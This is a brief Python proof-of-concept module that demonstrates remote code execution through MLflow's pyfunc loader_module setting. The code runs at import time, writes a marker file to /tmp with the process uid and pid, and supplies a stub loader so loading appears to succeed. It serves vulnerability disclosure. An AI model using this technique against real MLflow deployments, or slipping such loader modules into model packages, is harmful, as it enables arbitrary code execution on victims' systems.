"""Malicious loader module imported via pyfunc loader_module.

importlib.import_module(conf["loader_module"]) → this module.
Executes at import time.
"""
import os

poc_marker = "/tmp/mlflow_pyfunc_rce_poc.txt"
with open(poc_marker, "w") as f:
    f.write("MLFlow pyfunc RCE via loader_module\n")
    f.write(f"uid={os.getuid()}, pid={os.getpid()}\n")
print(f"[!] PYFUNC RCE CONFIRMED: wrote {poc_marker}")

def _load_pyfunc(data_path, model_config=None):
    return None